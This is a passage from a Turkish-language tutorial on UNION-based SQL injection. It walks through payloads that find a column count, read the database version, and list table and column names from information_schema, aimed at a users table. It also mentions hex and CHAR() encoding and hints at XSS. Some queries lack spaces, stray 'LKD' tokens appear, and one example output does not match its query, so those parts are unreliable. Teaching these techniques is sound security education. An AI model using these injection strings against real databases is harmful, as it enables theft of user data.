Girdiyi manipüle ettik, peki nasıl veriyi alabiliriz? Yine SQL'de UNION komutundan yararlanabiliriz. UNION önceki ve sonraki tablo alanları sayısı aynı olmalı kuralından yola çıkılır:
SELECT*From Haberler WHERE yazar_ismi='mehmet'UNIONSELECT1,2,3,4,5 #'
Yukardaki SQL cümleciğinde Haberler tablosundaki alan sayısı ise LKD sonucunun alırız. Aksi durumda UNION hatasını alırız veya LKD 1,2,3,4,5 görmeyiz. Bu durumda farklı değerler için iterasyona devam edilir. Bu durumda bilmediğimiz tablonun kolon sayısını bulmuş oluruz. Kolondaki hangi alandan LKD title geldiğini ise yine deneme yanılma ile bulabiliriz. İstediğimiz fonksiyonu UNION yanında çalıştırabiliriz. Örneğin 3 yerine version() kullanabiliriz:
SELECT*From Haberler WHERE yazar_ismi='mehmet'UNIONSELECT1,2,version(),4,5 #'
Yukardaki SQL cümleciği sonucu LKD 1, 2, 5.6.37, 4, 5 çıktısı görülebilir.
Yani veri tabanından dönen veriyi bir şekilde değiştirdik !
Bundan sonra sıra tablo bilgilerini almaya geldi sıra. Aşağıdaki SQL cümleciği ile MySQL/Maria sunucudan tablo adları çekilebilir:
SELECT*FROM Haberler WHERE yazar_ismi='mehmet'UNIONSELECT1,2,table_name,4,5FROMInformation_Schema.tablesWHERE table_schema=database() #'
Buradaki SQL cümleciğinde database() fonksiyonu çalışılan veri tabanını döndüren fonksiyon. İki iş yapmamak için bu fonksiyonu kullandık. Veri tabanı adını da bulup metin veri girdisi olarak da verebilirdik. Yukardaki SQL cümleciğinin örneğin çıktısı aşağıdaki gibi olabilirdi:
LKD articles makaleler kullanicilar
Aşağıdaki SQL cümlecikleri ile artık daha derinlere (alanlara/kolonlara) iniyoruz. Henüz hala tablo şemasını/yapısını bilmiyoruz. Gözümüze kestirdiğimiz kullanicilar tablosuna doğru iniyoruz:
SELECT*FROM Haberler WHERE yazar_ismi='mehmet'UNIONSELECT column_name FROMInformation_Schema.columnsWHERE table_name='kullanicilar';
Aşağıdaki gibi çıktı görülebilebilir:
LKD mehmet!:::LKD:::mehmet@mehmet.com
SELECT içinde hex türünde veri de girilebilir. Örneğin : işareti yerine 0x3a da girilebilirdi. Duruma göre hex kodlaması da kullanılabilir...
Bu SQL enjeksiyona UNION-Based SQL Injection denilir. Burada tablolara, tablolardan şemaya, şemadan da veri çekmeye geçtik.
SELECT ayrıca concat yerine XSS atağı da aşağıdaki gibi eklenebilirdi:
table_name'de tırnak kullanımı olmasaydı aşağıdaki gibi CHAR(101) fonk. da kullanılabilirdi.